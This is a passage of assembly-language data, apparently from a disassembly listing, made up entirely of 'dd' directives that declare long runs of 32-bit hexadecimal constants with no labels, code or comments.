		dd 6B5E0D0Fh, 0DF48F9DCh, 0AB4F1294h, 0B905A548h, 80EFD10Dh
		dd 156F1E6Ah, 6B0C5A60h, 0B01DE982h, 692F0945h,	0E0D2728Eh
		dd 635F0881h, 9FF24F4Eh, 4C9F3D10h, 0D1F0992Ah,	0E381896Eh
		dd 1CC640A2h, 0B57592Eh, 55B9CE19h, 4FE4BC92h, 4FF64F21h
		dd 83655F7Ah, 4B398B3Eh, 58547704h, 0FEA02CEAh,	6E911A5Ah
		dd 213ADF37h, 6ED068BDh, 285CE4DBh, 0B20E9C2h, 14C9DBA0h
		dd 0C1907A13h, 37331529h, 8D52F117h, 9DDBACBCh,	71D34E05h
		dd 0F40D3320h, 55700DD7h, 7D35A22Dh, 6BE9F1B8h,	0E371A0AAh
		dd 8708DD2Ch, 12681E61h, 0C1803442h, 0D3509503h, 0AEB2E74Bh
		dd 6C9C838Dh, 2BE8B5D0h, 2630031Dh, 5368253Bh, 0AC3D8AEh
		dd 0F058D0C7h, 9D85E955h, 76689081h, 0F0317B7Bh, 8A4D2690h
		dd 162813E0h, 5F7FD3h, 90172CD8h, 0C10B5B61h, 564B06E3h
		dd 0E2E904EAh, 5B38ECA2h, 8476EDA6h, 80A0E927h,	351C0512h
		dd 0E0F95ED8h, 10495560h, 684B9E2Ah, 28DF4705h,	0AAB52538h
		dd 0CEF6E8CEh, 0EB75D4Fh, 3B7F2D7Bh, 0DE4190BAh, 7C9C2A18h
		dd 56EB6B3Bh, 71988344h, 126FBE41h, 90216475h, 0A9A5E918h
		dd 0EAF78DC0h, 2F9E54CCh, 0F600FB29h, 11594250h, 124A1EC1h
		dd 0E91158AEh, 6E54D273h, 0E406044Fh, 88051593h, 261780CCh
		dd 58B4C231h, 5EC1D2F7h, 1D090B03h, 9C3AFE00h, 0EEA00C4Bh
		dd 0F3574C21h, 0A5904726h, 590C384Ch, 0E508C668h, 911E5AF0h
		dd 7B9D3D30h, 5037758Ch, 64410E33h, 81C74352h, 225E9C62h
		dd 0F10F10CEh, 0CA50A24Fh, 880BE8F7h, 0E2D65C5Bh, 0D6FA43C3h
		dd 8361FC91h, 0E17C02C2h, 79E92189h, 3105CEEAh,	42C675A5h
		dd 44D554CBh, 5E97A850h, 52204739h, 912168DAh, 0DD494FB1h
		dd 1AA6E859h, 77B65117h, 27D4E909h, 128CA756h, 0F8BF0858h
		dd 871C54E1h, 5ECBD09h,	52001D9Eh, 0FD16D4BAh, 0CA81041Ch
		dd 0FC094E0Fh, 0F6FE05B2h, 7FAF405h, 0E2B025C4h, 918573E4h
		dd 9952B3DCh, 412F4E1Ch, 185BFF7Dh, 0A4776835h,	0EAF720FAh
		dd 0E73BA3FCh, 0E6E902CAh, 0D86F6B1Ch, 400C2767h, 0D013C0C5h
		dd 7E683DB1h, 0E55AD3C4h, 0EFEB60F3h, 501D3D56h, 594370Fh
		dd 60AF9124h, 633084h, 36BD5317h, 2960ACB8h, 0E58301BFh
		dd 0D07A4D04h, 8D011C58h, 528F1044h, 134CD55Fh,	6017FF73h
		dd 752911F2h, 6102D4BEh, 6A28454Eh, 1F00DD7Fh, 3F7D0E12h
		dd 6221E92Fh, 6D1A5FA7h, 4020F15Ah, 18949060h, 0B3BF8EEh
		dd 0A7FEEBB0h, 0B1D94162h, 0DE65E168h, 54204975h, 6BB49437h
		dd 2F1B2D91h, 0BF171737h, 0A42CD003h, 0CB999981h, 6BC51968h
		dd 0C7410449h, 0FFDAC427h, 0F6127A18h, 10FD7EBAh, 125EF109h
		dd 640B11C9h, 579B61DCh, 0B7EE1220h, 217DCF62h,	20456861h
		dd 0E9C4B072h, 0EB2EA453h, 1C262BFAh, 4006707Ch, 687C070Dh
		dd 34081CF3h, 5E14091Ch, 0B820F4E4h, 27CC80E6h,	824535C5h
		dd 6101822Ch, 3EE91948h
		dd 5AA41B4Fh, 339DBC43h, 0B89CF0A6h, 0EC59A207h, 0C181050Fh
		dd 85CD283Dh, 0FCAE2618h, 514A372Fh, 1262A7C2h,	0DA397060h
		dd 0EC3713B5h, 0E98201A2h, 925E1974h, 0E102FAE8h, 76239665h
		dd 8C61436h, 6198E64Eh,	54A26859h, 957A2276h, 0B1F6200Bh
		dd 6F4F2A1Ch, 0D8EB8934h, 2A424C6Fh, 0D97D9D03h, 8188493Bh
		dd 4B029FF1h, 0CA211A33h, 0DFF06359h, 907AC650h, 9F92BF3Fh
		dd 0BA0343DAh, 0F7608112h, 0A4F9B8D0h, 0E0024F90h, 0EB272193h
		dd 0A43C7A5Dh, 50D89896h, 12DFE903h, 0B10538Dh,	3FA1FAD3h
		dd 84EAD15Ah, 0BA010374h, 7FC401AFh, 81326B0Ch,	9AB39F0Ch
		dd 97F894Eh, 92F4EBE8h,	5616982Dh, 0B4904BBEh, 5CB4DF11h
		dd 0EB54550Eh, 0EFDA1057h, 4B71F8FEh, 0C28A8407h, 0A075B2DDh
		dd 0B55152A6h, 0DDF6003Fh, 8007E5C0h, 759017C5h, 0EA095999h
		dd 704FFC99h, 67C0ED51h, 2C796CEEh, 0C6012869h,	580881E4h
		dd 28949F73h, 0D8EF7517h, 0C17C0141h, 56A32435h, 212E29AAh
		dd 8011809Dh, 0D2F696E2h, 27C27CFEh, 0D5E42569h, 4E49E4B5h
		dd 5E8B8207h, 7EB9BA7Fh, 0B6CC2F48h, 6F0E6812h,	0CCC63063h
		dd 57DE2BA8h, 0D124576Ah, 69D6D37Fh, 0C051CB8Dh, 0B6E84236h
		dd 21D64BF3h, 6170A102h, 5C0E0016h, 9E9867A9h, 21E8EF7Eh
		dd 5989062Eh, 0A5B0F396h, 0D83126ADh, 39190884h, 7908253Ch
		dd 57900833h, 0D6246524h, 0B8F3CC6Eh, 14CC982Ch, 0CF4313FFh
		dd 103CFA2Eh, 2E054CA1h, 2109F202h, 45FCD9F6h, 68B84003h
		dd 24757219h, 331D97A0h, 0C179C507h, 0D58004E0h, 39B4B06h
		dd 0E958C689h, 850254D3h, 7B0893C1h, 0F45603Fh,	0C69BA47h
		dd 0F8895DEFh, 0E44E5EE6h, 49827327h, 37A35F13h, 97009C93h
		dd 105D7AE5h, 0FA56452Dh, 0D13C4894h, 54810C89h, 89109B68h
		dd 0DEBACCB9h, 853896A5h, 5570B34Ch, 742CF103h,	984F7971h
		dd 5C92AF3h, 957DBBE2h,	478F8BD6h, 0D99D2CD3h, 0AE9C842h
		dd 0F00646ABh, 0D8D449A1h, 20EE450h, 0C16B5347h, 59FC06EEh
		dd 0F02EF601h, 2BBBA2h,	563A05A2h, 0E9124A8Eh, 0BAB23F17h
		dd 59669D0Eh, 0D314D346h, 10D7E2Ch, 6AF3898Bh, 52447E59h
		dd 0F4E28C7Ch, 0C4135D97h, 633195C1h, 3A648B8h,	472852CCh
		dd 0E23BE8BBh, 0D79436h, 0B02AA2Dh, 0BE2AE922h,	0F8B8EA9Ah
		dd 0B1E25A4Eh, 69C0FF66h, 223E2D00h, 5E687D50h,	0A2E0A83Ah
		dd 2A8981F6h, 67E144D0h, 663F4866h, 0F9504506h,	34138E19h
		dd 0EB00BD16h, 592106E1h, 8160B40Eh, 7264BC9h, 191E8267h
		dd 0C00DDF4Dh, 2D37EF00h, 88D05FB2h, 0C9984F50h, 8D648091h
		dd 301D93BCh, 0FDADAC3h, 46AB6F40h, 5245CA2Fh, 0A2B320DDh
		dd 53AEB906h, 8807836h,	6F61070Fh, 0EC03D40Fh, 18400C71h
		dd 2418132Dh, 0D00207Fh, 7BBD556Ah, 0D7A1D21h, 15DE929h
		dd 0B3677A9Eh, 1A9D52C9h, 0ADCF685Ah, 0BAFD3EE2h, 39B5606Ch
		dd 0C61BD33h, 127D3915h, 0F5CA5EF3h, 6865A45Eh,	93CD235Eh
		dd 41450F20h, 9FB900F5h, 0EDF37774h, 80B32401h,	8832F109h
		dd 42B65C8h, 0C020772Ch, 80EED00Ch, 23FCAFEAh, 0E9F02805h
		dd 70EB1F87h, 776850FDh, 0BC8C345Eh, 0ABBAF4h, 0F233DF2Dh
		dd 72150553h, 18385E4Ch, 8888FAF1h, 3C1BBBFDh, 659EB13h
		dd 0ABA68502h, 5A36C13Eh, 737196E6h, 5818706Eh,	80587F0h
		dd 0AD03EDC0h, 0E9E80657h, 0B542EAFFh, 0C43017C9h, 2EC29EFh
		dd 0D4C314F5h, 0B507F45Fh, 0D444723Ah, 0F9FE0EC6h, 0BFFD809Fh
		dd 97FE6A15h, 0D6F8D2F0h, 652F109Eh, 1A3E28ACh,	209629E9h
		dd 87063253h, 7D0F53DAh, 41D949E9h, 1344B104h, 0B3758256h
		dd 72C50680h, 3F4FD66Ah, 0A2ED4DB0h, 33863108h,	91124678h
		dd 2DE2E338h, 0BEA64142h, 580676FCh, 2034FA5Dh,	7974F90Dh
		dd 4F5F2A40h, 0F284D85Ah, 2592C69Dh, 0DF5C4D68h, 5C975667h
		dd 1770B6F3h, 0E2974948h, 3A813075h, 5AF80717h,	8432E347h
		dd 62EC1F3Bh, 8C422188h, 815C0095h, 531F02CFh, 320B4956h
		dd 5069E827h, 1EC02851h, 2ED307ECh, 52294C8Eh, 45EAFDE9h
		dd 0A14CE80h, 10F67365h, 4E914C49h, 3594C93h, 156DBF67h
		dd 0D8D14DE3h, 0A6203E13h, 6600ABAh, 0E2C177A5h, 87027808h
		dd 0F7393E45h, 0EA5241DAh, 1CF5D007h, 2E1F312Dh, 8E52EB89h
		dd 14687042h, 9E9BB801h, 678A395Eh, 12F0C8D0h, 0C4ED2E12h
		dd 7652BB4Bh, 2F9F34B9h, 2A52E642h, 39423504h, 4BEE06F1h
		dd 0DF408E8Fh, 34593768h, 0DE7F8486h, 0B7140D12h, 0B3CC6A97h
		dd 0D42FEF5Ch, 0B105BC44h, 9672B6A7h, 68E6829Fh, 35A10D45h
		dd 0CF0BF4BFh, 0E60455DBh, 58CF0462h, 43B2C601h, 67D84757h
		dd 634C02B5h, 689497C0h, 0E9A42E09h, 4D4C41C2h,	0FAA7C20h
		dd 8914BA41h, 32F95DABh, 0CADE313Ch, 0EF04AD64h, 8FBC1F13h
		dd 5611E9B0h, 109F8ABCh, 0C19480Ch, 0FC5C129Eh,	6D0F547h
		dd 14830C08h, 0BDBE6414h, 163C887Dh, 10E8B8D7h,	77735809h
		dd 0A7C8B183h, 0D29156A2h, 6E5DBD00h, 0CC3C6F19h, 0E3CB1385h
		dd 0EEC54AF1h, 69ADBD00h, 4FC144ABh, 0A45880E6h, 954C6D35h
		dd 0EA2015h, 80619CBBh,	74C38168h, 2C391116h, 0F58031C4h
		dd 58F679CBh, 6E60AF07h, 21EDB053h, 126B39F9h, 60B81C70h
		dd 3021AAD2h, 0CB7B2E57h, 0B850006Dh, 524979F6h, 0C1D000F7h
		dd 4C3503E0h, 6D1AB430h, 5958C701h, 31740210h, 0F78069A1h
		dd 6B8F73D7h, 1CD0017Ch, 0B0553508h, 0B04E2483h, 0CB03F8E9h
		dd 0FAD2D999h, 79ED422h, 35E37CDh, 75E56014h, 0A40416Ah
		dd 0B60CD874h, 215B5DEEh, 502C5AB2h, 0E84E0824h, 9FDBD13h
		dd 136C0110h, 3ED5E5Dh,	83D82A8Bh, 89234597h, 392A9341h
		dd 5589250Dh, 0EE232E60h, 893F02F6h, 9601DDC1h,	0FA85CF04h
		dd 5AD72903h, 3F5FF9F9h, 0EE6057D9h, 6B751236h,	0E9CD0543h
		dd 4EB9A8ECh, 0C3C0A2E2h, 54867D39h, 918E92Fh, 9890FEF8h
		dd 4D134C59h, 683F5804h, 96B92785h, 0EC3047C5h,	18F8E467h
		dd 0B371E9A0h, 4A606C95h, 75592159h, 93417EAFh,	3DF410E1h
		dd 8E7507Eh, 48382575h,	64EF277Ch, 6AD89299h, 75D84C21h
		dd 83A20127h, 5C0CF9FDh, 0C8DB002h, 3E910574h, 0D516EC60h
		dd 20E8FBE4h, 5B7CEC93h, 213EAE3Dh, 0D09D37Eh, 0E2A47C38h
		dd 35F4C485h, 0C200012h, 29527141h, 4F647FEDh, 0F2F40D19h
		dd 3F14DF90h, 0C607AB68h, 32B3EDAFh, 0BF615683h, 6DD86A9Fh
		dd 8DB75ED0h, 572024DBh, 3FBEBF04h, 26C01997h, 5C009C8h
		dd 0E9F72968h, 0FA0A95CEh, 757ABA00h, 135B637Bh, 22244F31h
		dd 84EAA00Dh, 0B3F0A0F0h, 27D09B4Fh, 92D1F707h,	6D860F1Ah
		dd 0BD163188h, 3763108Fh, 0B195A150h, 60DF0F89h, 0D5F75180h
		dd 17C1ED83h, 0E6879099h, 8120A320h, 8D677F58h,	59ABB8D2h
		dd 0A5561D69h, 7C2F874h, 0FEC20BA1h, 7C490159h,	0FA15A0Ah
		dd 284A2368h, 0C029CB54h, 0B90966E8h, 914B0841h, 16BB782Dh
		dd 2458D18h, 0A41BA54Bh, 0E4500075h, 0C1596063h, 0E9454DDEh
		dd 48D23C36h, 0D0118F5Fh, 49C0680Ah, 0FD54493Ah, 501EEFA6h
		dd 802B5519h, 188F170h,	0D80459EAh, 202CD028h, 9B5AB08Ch
		dd 29BA0E52h, 0C8E01151h, 90E978FFh, 0CB7A2ED6h, 0BB530B00h
		dd 5F689Bh, 1F21BD1Dh, 0DD2911E8h, 802CE92Fh, 0B4B5515Ah
		dd 8414C8F6h, 0A5F2F9AFh, 520F99C5h, 0F35DA068h, 25E95A6Fh
		dd 0D7760F90h, 103CA367h, 0E62F9888h, 8D595CCAh, 4F211654h
		dd 0BA73D4D0h, 50977761h
		dd 30840B78h, 21092E8h,	5816626h, 0E95305B7h, 7AE91Dh
		dd 8F3315BBh, 14EB8140h, 0B089AA90h, 5E23CE7Bh,	9850FACBh
		dd 334BBADFh, 0AF405326h, 0E6E96918h, 3374D14Eh, 69B37881h
		dd 0B86D40C5h, 9B2AA34Eh, 289800E0h, 43304D1Eh,	6AB8514Bh
		dd 0C822AFF3h, 0EF61B9Eh, 20E580D5h, 0FEA3F561h, 17EF69C5h
		dd 64E4EFEDh, 91A46219h, 30C1E4F1h, 6B4E219Fh, 60935488h
		dd 5BC623CFh, 6F60124Fh, 0DFBDE10Ch, 51029D8Ah,	255ECD01h
		dd 803BCA58h, 51CD001h,	36013F46h, 60AE685Ah, 50806B57h
		dd 4A1E3765h, 460E355Eh, 0BD7F74Bh, 0FA36BA80h,	24BFE891h
		dd 0C11B82DBh, 6094A1A7h, 0C8353EDh, 570C598Eh,	1002D9C3h
		dd 38F48756h, 5215E89h,	844B9EEDh, 8817AAB3h, 5E1806F6h
		dd 8F69C941h, 351A30A0h, 25B064F0h, 2620440h, 0E9688648h
		dd 0F859EF9Eh, 17332EA5h, 592730ACh, 2DD3AB09h,	0EF21CC92h
		dd 26166761h, 0F68BB100h, 0B6C180D1h, 0F89C30E9h, 0FBDEE89h
		dd 0C8567C38h, 0CFDE1398h, 9DC364ACh, 0EA2E6950h, 667041FAh
		dd 818C9143h, 0D102EFC1h, 0BC9F70E7h, 0A622444Bh, 0A19E1009h
		dd 0F763A2BEh, 0C7EF2DB8h, 0EFCF8868h, 72DF6102h, 75DB04E9h
		dd 6CDEFDA0h, 0E2B55F6Ah, 0E4827D31h, 62D1378Bh, 0AE19D16Eh
		dd 2AAD408Eh, 4BFC6800h, 0C14D0Eh, 0EA8103E2h, 459B5B0Ah
		dd 57EFE29Dh, 7241A06Ah, 5A106C99h, 3192BFA2h, 2F2BE9E8h
		dd 0E5E1B74Eh, 0AFC9D73Dh, 9553E4F8h, 0E7201AC6h, 0EB0406E3h
		dd 452CBD68h, 24941320h, 14B2E5D0h, 1784FF06h, 0FC801633h
		dd 90890363h, 32902513h, 0CA02F171h, 5C42B015h,	5E05503Ch
		dd 33D1FA04h, 0F5ED35E9h, 0C7FCEF30h, 963046EAh, 51470C3Ah
		dd 1D0B5BF3h, 8F7ACAAh,	5D13ECD9h, 0F871A07h, 0E3C124F1h
		dd 4D51017Bh, 30362F46h, 0C5FE426Fh, 5C01743Bh,	5D084056h
		dd 0F70830C2h, 0CAC3E2D3h, 1B86D676h, 0D7E0632h, 5E8DD825h
		dd 2F24CAE6h, 8B5C7A89h, 0D5A70552h, 5CF522BFh,	3BB799DDh
		dd 0A7D8105h, 0D25802BCh, 0C34B4B4Fh, 3850FE00h, 3DAB9B13h
		dd 0D6681409h, 65A0DC5Eh, 3B63E1D4h, 637E5DCAh,	0C3013F7Ch
		dd 485933A1h, 4A97F5F8h, 97AF3FFh, 0D1D1B074h, 49ADA632h
		dd 747E5C74h, 0A27B13E8h, 0A2977Dh, 0F6D8899Ah,	304A22F0h
		dd 660E6EB3h, 0F51608B3h, 62E42E17h, 17C9E19h, 3A57AF2Dh
		dd 34AF307Ah, 44A3614Fh, 5C02BF02h, 7AFE38B0h, 0BB31F305h
		dd 47FA17D4h, 82C3290Ch, 0A7B2B3AFh, 0DAF20843h, 55E95FFEh
		dd 0E5EE832Dh, 5CBF62D3h, 0DE9A478h, 0B34AB885h, 0F626792Fh
		dd 0C64013F7h, 0B03F676Ah, 0C4AF831h, 49E91F9Ah, 2D04403Fh
		dd 0D5344B01h, 3F890B1h, 3277BAB1h, 97604FEEh, 6A15266h
		dd 0E1E00D66h, 0FD98B56Eh, 0F6007025h, 8433BE0Bh, 2F2948DBh
		dd 46D259CEh, 0C8F0E912h, 0AE046D65h, 0AD10AABEh, 71781201h
		dd 42FE31FAh, 0A1DDF7A3h, 8C4DE9F9h, 50592880h,	0EA4F24B8h
		dd 90254900h, 0E9605F45h, 8858FBC4h, 48532A68h,	36544E59h
		dd 0E70A702Bh, 0E518607Dh, 560DE31Ah, 89680A5Dh, 20552077h
		dd 6696CB1Ch, 7CAA926Fh, 71955E60h, 71E9E188h, 0E5907BC7h
		dd 7B9E4C50h, 0F4273047h, 1A1FF217h, 0D1770826h, 900EC001h
		dd 5D2231E2h, 82B2E250h, 261C7E41h, 53EA0073h, 0DBF6EEB3h
		dd 7EB25C0h, 0B399354h,	620EE993h, 0B637471h, 57DE2B1Eh
		dd 0C5BE5669h, 0A7DF445Ch, 50BFA4F6h, 79A55207h, 2950CD81h
		dd 5FF71B57h, 7BA48DDDh, 0EDCFAD1Ch, 3BF58002h,	2E365FC6h
		dd 4910EB29h, 344AB150h, 0D6B139C5h, 684A178h, 0A230AEF2h
		dd 547616D2h, 770DAA43h, 0B0264A35h, 0B1CA870Ch, 65028653h
		dd 555B5616h, 0C0830AE5h, 304A627Ch, 579A08A0h,	52123FC7h
		dd 9EA4EB21h, 0D837416Eh, 0B54C5173h, 9A5E1911h, 0D8C8D391h
		dd 0BB5A005Bh, 43970571h, 35CF9FE9h, 0EABD365Dh, 59410125h
		dd 885000CFh, 9F41F0E8h, 0FA68C681h, 14F542Fh, 9343B6BDh
		dd 87B312Ah, 1AC150A6h,	0D0518E9h, 75D61DD1h, 0B0578632h
		dd 829F1B90h, 0FE27AAF2h, 8A4FF1AEh, 4097157Eh,	18872C14h
		dd 0ACF00AB0h, 5B237F82h, 531005BBh, 5C008A8Dh,	0A685557h
		dd 5CDE8E6Fh, 0D3201913h, 5CA9DE49h, 5B2C1DA2h,	3194A45h
		dd 13ABF6B5h, 250EFC59h, 9121665Fh, 63E962ECh, 0E25C65DAh
		dd 16125BE8h, 0F86928EAh, 0F93C2741h, 0BF5465D6h, 0AA48DB04h
		dd 0C8018804h, 274FC299h, 597FEDCFh, 0B90091FCh, 699E6B59h
		dd 601E1C1h, 1555F181h,	0C27F4D5Ah, 5CCAB487h, 0F3FBEF63h
		dd 60CB49B3h, 3FADE3B0h, 27FA7964h, 7BAD290h, 0ED392624h
		dd 5EEA06Fh, 17D35E23h,	4501EA09h, 0AE2889C2h, 0F9DCFF70h
		dd 0EE585C3h, 0C82FB3E5h, 1143DFBh, 25DFF1DBh, 7210FE4Ah
		dd 0A78FD42h, 0AEF05B4Bh, 784B180Ah, 0B9620D72h, 5DB6354h
		dd 0A523AC02h, 0D011E961h, 0A5CCBDF5h, 2515E595h, 0AE88A859h
		dd 9F06A4Bh, 0FC5ABE51h, 503D140Fh, 0CF2F657Dh,	773962A5h
		dd 1B9B124Eh, 0EEBBCBB6h, 2B5808BBh, 0F713780Bh, 141F3870h
		dd 7FCB459Fh, 0EB53DC46h, 89596F76h, 95B987Ah, 8A497BEDh
		dd 40760D9h, 4A7DF679h,	2CB8B31Dh, 8993AC94h, 0F2013505h
		dd 4E6830CCh, 0BE2B30DDh, 2D5C86C1h, 8B0C1667h,	306CF766h
		dd 5D312868h, 0E92F5A55h, 0C74AA2D1h, 931C2535h, 60DB502Fh
		dd 0F37C989Ch, 384EA8FEh, 1DC38C90h, 64CE0B6Ch,	497ECAE9h
		dd 0F6C9FE82h, 505276D1h, 7376E951h, 0DA905892h, 714ECD04h
		dd 0AE3F9Fh, 1CEC570h, 0E97649D6h, 0C0B439F3h, 0F468595Ah
		dd 8DCCBD24h, 0C748319Dh, 6005A330h, 6F5D0C30h,	0EFBC5BEFh
		dd 0A008D13Ah, 71FF140Ch, 1957D233h, 26EDE90h, 0CB0158DDh
		dd 628E96E0h, 73231E2Eh, 8060E802h, 4BE54268h, 555CB2CEh
		dd 4754A1ECh, 1716358Ah, 0DA0CDA62h, 74CD18C1h,	36BF2D73h
		dd 74C2BDAFh, 0D42178Fh, 591DDBF6h, 6CB9AD96h, 69FEF73Eh
		dd 9310FBEFh, 51B64472h, 63D76841h, 2611CE2Eh, 4C932C3h
		dd 72A2028Ch, 55FAE04h,	1EB525h, 4C42E908h, 0F505B6BBh
		dd 1FAAAF28h, 136CBE2h,	54979A7Ch, 65591F4Ch, 0E8DA4B28h
		dd 0C280B011h, 0F62FE1C8h, 3F522C8Fh, 0F3885305h, 5E87D8C2h
		dd 2E0253E6h, 7FA30BBAh, 5FA0F0FEh, 5FDAF431h, 0F9D8029Dh
		dd 0E9B9DEB8h, 5E8165Ch, 0C996C8AFh, 0AC34C288h, 3FDBD830h
		dd 0D2090F0Bh, 14F10452h, 0A0295E94h, 955B650Fh, 46C60D40h
		dd 65B9427Bh, 1C310BC2h, 30FCD2DBh, 5F6856DCh, 0FD40156h
		dd 80E52877h, 3DFBB951h, 0F04C4DE8h, 9614722Ch,	7790A8Fh
		dd 0B850808Ch, 16A27D80h, 58C72912h, 79597500h,	5FE96F64h
		dd 0BE4E01A5h, 302168BAh, 1241B2E6h, 54AD5E7Bh,	0E081ADD4h
		dd 593FF768h, 601E4DF5h, 8C53D124h, 7E5D25ABh, 60E978B9h
		dd 885885BFh, 6DA90DFBh, 103778B5h, 31122364h, 47D3D1DFh
		dd 0C3A32AF7h, 685AF002h, 92D91617h, 18BC0A88h,	3EBE7659h
		dd 2677533Eh, 589DD92Ah, 2F532593h, 2CECA206h, 45554EF1h
		dd 92B60FE7h, 0EC57EFC5h, 95C7FC0Ch, 5E720ACAh,	4B865020h
		dd 0B79B305Ch, 0B0FC66E3h, 3630B526h, 1E533F12h, 512F33ACh
		dd 123DDD73h, 68C8DD5Ah, 90605B8h, 0C04023CCh, 0DC33F6D7h
		dd 0F1DFE930h, 768E4BDh, 0C5835BE6h, 0CBF7D6FFh, 95E26FA3h
		dd 3634FF0Fh, 4D1C41AFh, 0BEA9489Dh, 89F6AF84h,	0EC93F6A6h
		dd 9A9754C0h, 0A65C83B0h
		dd 0E970D057h, 7804979Bh, 2C49BC51h, 5B97FC59h,	4AC33040h
		dd 0BF845094h, 6F096280h, 0D532E91Ch, 433197DCh, 41D39A8Ch
		dd 0C917DDCEh, 967ED9CCh, 2824729Ah, 0B658F3D3h, 0EE800ECFh
		dd 76EC087h, 2862C6CFh,	1B6A5AF3h, 0D062CAF1h, 5F12043h
		dd 945BFEB8h, 0E9619BB1h, 4559107Fh, 2D7EE4D0h,	0A4120FEBh
		dd 9FB9EF40h, 16BA5D58h, 7CCCEBFh, 80BCBC5Eh, 0FB7985E1h
		dd 0D958F752h, 0FA600141h, 3EE9AFB4h, 0A2AD1934h, 4C23F71Ch
		dd 80B9D030h, 0EC81AA15h, 74851B20h, 0AFC058B3h, 0BE592C4Ch
		dd 1EAF5926h, 8839E03Bh, 34A548ECh, 11A8EF4Bh, 8C02CD13h
		dd 90F45642h, 0BE0B27BAh, 0D72869h, 236284E2h, 0B4294C68h
		dd 8CBC4F77h, 3FF3D768h, 4B2B399Dh, 794051FCh, 6677C4FEh
		dd 3B75B538h, 0E3E350ECh, 9EC07B7h, 5D2CC332h, 0C5AC72CBh
		dd 0D47982EDh, 312E0278h, 87173FD0h, 0BA5BB582h, 7D7192E3h
		dd 369CEB00h, 0D8806802h, 6955283Ah, 5ADE40E7h,	9D94EBB0h
		dd 1F0B393h, 9F539754h,	32A56805h, 6E6095CDh, 0CB060514h
		dd 83C15823h, 9090350Dh, 52174FF9h, 97ACC289h, 4E61E62h
		dd 0B30296FCh, 89966AD7h, 5254DCB9h, 9DAB96FFh,	757E41C0h
		dd 891D6E09h, 0F0FD8BF9h, 96BE2755h, 0C7DC40A7h, 2D5E9B0h
		dd 0E0EAC197h, 273E2B0h, 83100C04h, 327401C2h, 81D21708h
		dd 631432C3h, 5BEBFBCDh, 0A055BAF2h, 0E366AFE0h, 9015B035h
		dd 22081661h, 0A0151309h, 26E34457h, 2F8A4018h,	6FD21E4Ah
		dd 0A2C32040h, 477BFB37h, 537F49h, 0F0681425h, 2D8F70Eh
		dd 0DFF92D40h, 46C0FD6Fh, 256002E9h, 5675EB3Fh,	14F09DDh
		dd 0B1CB5BD9h, 6E04D880h, 9835395h, 25E6536Ah, 0AB20BA5Eh
		dd 798ECD81h, 64A4832h,	0F46D707h, 0C4DDF457h, 15ED1FCh
		dd 5B1E82F5h, 5764903Eh, 4E5757C2h, 685509D2h, 9DE41DBCh
		dd 775AB2B7h, 0BCD7D489h, 1F9A9F4Dh, 59A48177h,	803B4BF1h
		dd 78C01278h, 107BD8A3h, 0CCCEB405h, 6D86D501h,	0C0E5956Ch
		dd 68FA6435h, 0E14AF6F4h, 0CC0939ECh, 0DEC64A68h, 45BCE914h
		dd 77BD80B9h, 7D011563h, 914AFBh, 0C2C58063h, 112D6866h
		dd 0C35AAF51h, 0E0E530D5h, 16DDF658h, 4F12E952h, 0F39289F5h
		dd 2002580Ah, 0B388CBC6h, 82BD29E8h, 0C6EC16D2h, 0E7AFDCDEh
		dd 51C26359h, 6E591168h, 336D3B07h, 904DE931h, 0EB00D332h
		dd 15D00457h, 12C05E53h, 610C28F6h, 0D836C00Dh,	4E67EF4Fh
		dd 0C20BBE98h, 0C1205223h, 8804376h, 0E4CB8107h, 15768A40h
		dd 93BF339h, 0D831A33Fh, 94D1201Bh, 9AC93A0h, 89690D10h
		dd 12082D7Eh, 55ACDD64h, 10AF504Ch, 2E752A02h, 4971823Ch
		dd 92BF99DBh, 36B4ACEDh, 0BD944A24h, 0D231C58Eh, 0C930D099h
		dd 8D6D16CDh, 0BABB944h, 2A97A7Eh, 1200A56h, 97624868h
		dd 94C4710Bh, 4E279ABBh, 5BC6DDA4h, 2F41DDB0h, 40DFFAB4h
		dd 0ED398021h, 96F5928Ah, 25FE42B4h, 63D8F8E9h,	0AB67E59Dh
		dd 2770A4A0h, 6E65C12Dh, 0A992508Bh, 1DCA90BAh,	7F440D17h
		dd 0CBB878E9h, 9A06AA52h, 0C41DB66h, 576E3616h,	109F9309h
		dd 324CF84h, 0C139B443h, 0F7C904E7h, 9199ECF0h,	5FFB3112h
		dd 0E982DBE8h, 99D5BBEEh, 753586BDh, 0CA7DB22Eh, 0F922E44Bh
		dd 10C9884Ch, 0FC4AF094h, 52D8C23Ah, 8209A950h,	0D846E92Ah
		dd 3F5A487Fh, 90D89617h, 513D0D9Bh, 2C57743Eh, 74A70D2Bh
		dd 1D45A6EBh, 1238C02Dh, 5F02902h, 815C07A2h, 25C74288h
		dd 0EEE24B7Ch, 8E96DF80h, 40E62D05h, 0EFE1BE0h,	4AF05F64h
		dd 4DCBB2A4h, 277EDD77h, 5EEAFD18h, 0C66D5C5Ch,	0BEF8C47Bh
		dd 0CD641E21h, 0BEE67197h, 0BB0E8018h, 0B97895D8h, 5EF33112h
		dd 5926F0A0h, 52834208h, 8DAC2568h, 0E857E560h,	452D77EBh
		dd 0CD368047h, 102E2936h, 9B471E9h, 7DDA685Bh, 4A70CD1Bh
		dd 895C2738h, 0F21866E9h, 4E56095Ch, 0FDD6995h,	78B4C9E3h
		dd 54CC98BDh, 724AD9F5h, 0C52913D7h, 9C0BBD58h,	48022FFDh
		dd 5FD3E950h, 75D42DAh,	90F2F730h, 0BABFBBFAh, 4570A9EFh
		dd 59CA0BB0h, 96BDAEF0h, 137B5AB4h, 0B408EDA0h,	4E2580F0h
		dd 82C3E95Dh, 83A10806h, 3BF5FFCCh, 36EC747h, 11BDEFC1h
		dd 0BED36015h, 2D6D4A01h, 34CDE94Ch, 0C45E2862h, 2C2CAA4Bh
		dd 0DF212AE9h, 3EC32680h, 9A8F9B25h, 4213444Fh,	982126B0h
		dd 0BBB800Bh, 7936E931h, 97041F48h, 0BF375027h,	5859F990h
		dd 3FF52F68h, 1309A11Ah, 1FCA9200h, 45015672h, 42D3F581h
		dd 817B3A14h, 3E271C03h, 0E913AD9Ah, 92741C9h, 2A5A1C57h
		dd 0BE7475D8h, 74782F38h, 959E63Ah, 0B2D13170h,	0B67D619Ch
		dd 3302BE01h, 525E16F9h, 0E9139AF2h, 7EF4B141h,	0F4D31382h
		dd 125E27FFh, 919CFFDAh, 894546B4h, 1CF096F5h, 67A5FFCh
		dd 3644290Ah, 0F2345F98h, 0BA9A2E7Eh, 844FB64Ch, 0AB8484B0h
		dd 3CD00061h, 52D2F700h, 595A511Eh, 8BD304CAh, 14F82997h
		dd 25D6ED4Eh, 5FBDE25Fh, 2BFF1999h, 365EE5Dh, 74F129BEh
